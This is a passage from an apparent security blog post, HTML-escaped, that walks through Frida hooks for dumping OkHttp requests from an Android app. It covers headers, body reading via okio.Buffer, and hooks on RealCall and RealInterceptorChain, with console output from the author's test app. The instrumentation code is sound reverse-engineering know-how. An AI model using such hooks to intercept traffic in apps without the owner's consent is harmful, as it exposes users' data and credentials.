            &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;dumpHeaders failed: &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Dumping the body is the hardest task, as there might be many different &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RequestBody&lt;/code&gt; implementations. However, in practice the following should usually work:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;dumpBody&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ct&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;-- body meta --&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;contentType: &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ct&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;(null)&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;contentLength: &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;contentLength: (unknown)&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;utf8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;readBodyToUtf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;utf8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;-- body (utf8) --&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;utf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;-- body -- (not readable: streaming/one-shot/duplex or custom)&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;-- no body --&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The code above uses another helper function to read the actual bytes from the body and decode it as UTF-8. It does it by utilizng the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;okio.Buffer&lt;/code&gt; function:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;readBodyToUtf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;reqBody&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;reqBody&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Java&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;use&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;okio.Buffer&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;$new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

        &lt;span class=&quot;nx&quot;&gt;reqBody&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;writeTo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;readUtf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;realcall&quot;&gt;RealCall&lt;/h3&gt;

&lt;p&gt;Now that we have code capable of dumping the request as text, we need to find a reliable way to catch the requests. When attempting to view an outgoing communication, the first instinct is to try and inject the function called to send the request. In the world of OkHttp, the functions closest to this are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RealCall.execute()&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RealCall.enqueue()&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;Java&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;perform&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;execOv&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;RealCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;overload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;implementation&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;dumpRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;RealCall.execute() about to send&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;execOv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[+] Hooked RealCall.execute()&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[-] Failed to hook RealCall.execute(): &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;enqOv&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;RealCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;enqueue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;overload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;okhttp3.Callback&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;implementation&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;cb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;dumpRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;RealCall.enqueue()&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;enqOv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;cb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[+] Hooked RealCall.enqueue(Callback)&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[-] Failed to hook RealCall.enqueue(): &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However, after running these hooks, it becomes clear that this approach is insufficient whenever an application uses interceptors:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;frida -U -p $(adb shell pidof com.doyensec.myapplication) -l blogpost/request-body.js
     ____
    / _  |   Frida 17.5.1 - A world-class dynamic instrumentation toolkit
   | (_| |
    &amp;gt; _  |   Commands:
   /_/ |_|       help      -&amp;gt; Displays the help system
   . . . .       object?   -&amp;gt; Display information about 'object'
   . . . .       exit/quit -&amp;gt; Exit
   . . . .
   . . . .   More info at https://frida.re/docs/home/
   . . . .
   . . . .   Connected to CPH2691 (id=8c5ca5b0)
Attaching...
[+] Using OkHttp3.internal.connection.RealCall
[+] Hooked RealCall.execute()
[+] Hooked RealCall.enqueue(Callback)
[*] Non-obfuscated RealCall hooks installed.
[CPH2691::PID::9358 ]-&amp;gt;
=== RealCall.enqueue() about to send ===
method: POST
url: https://tellico.fun/endpoint
-- headers --
-- body meta --
contentType: application/json; charset=utf-8
contentLength: 60
-- body (utf8) --
{
  &quot;hello&quot;: &quot;world&quot;,
  &quot;poc&quot;: true,
  &quot;ts&quot;: 1768598890661
}
=== END ===
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As can be observed, this approach was useful to disclose the address and the JSON payload. However, the request is far from complete. The custom and authentication headers are missing, and the analyst cannot observe that the payload is later encrypted, making it impossible to infer the full application protocol. Therefore, we need to find a more comprehensive method.&lt;/p&gt;

&lt;h3 id=&quot;intercepting-interceptors&quot;&gt;Intercepting Interceptors&lt;/h3&gt;

&lt;p&gt;Since the modifications are performed inside the OkHttp Interceptors, our next injection target will be the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;okhttp3.internal.http.RealInterceptorChain&lt;/code&gt; class. Given that this is an internal function, it’s bound to be less stable than regular OkHttp classes. Therefore, instead of hooking a function with a single signature, we’ll iterate all overloads of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RealInterceptorChain.proceed&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Chain&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Java&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;use&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;okhttp3.internal.http.RealInterceptorChain&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[+] Found okhttp3.internal.http.RealInterceptorChain&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

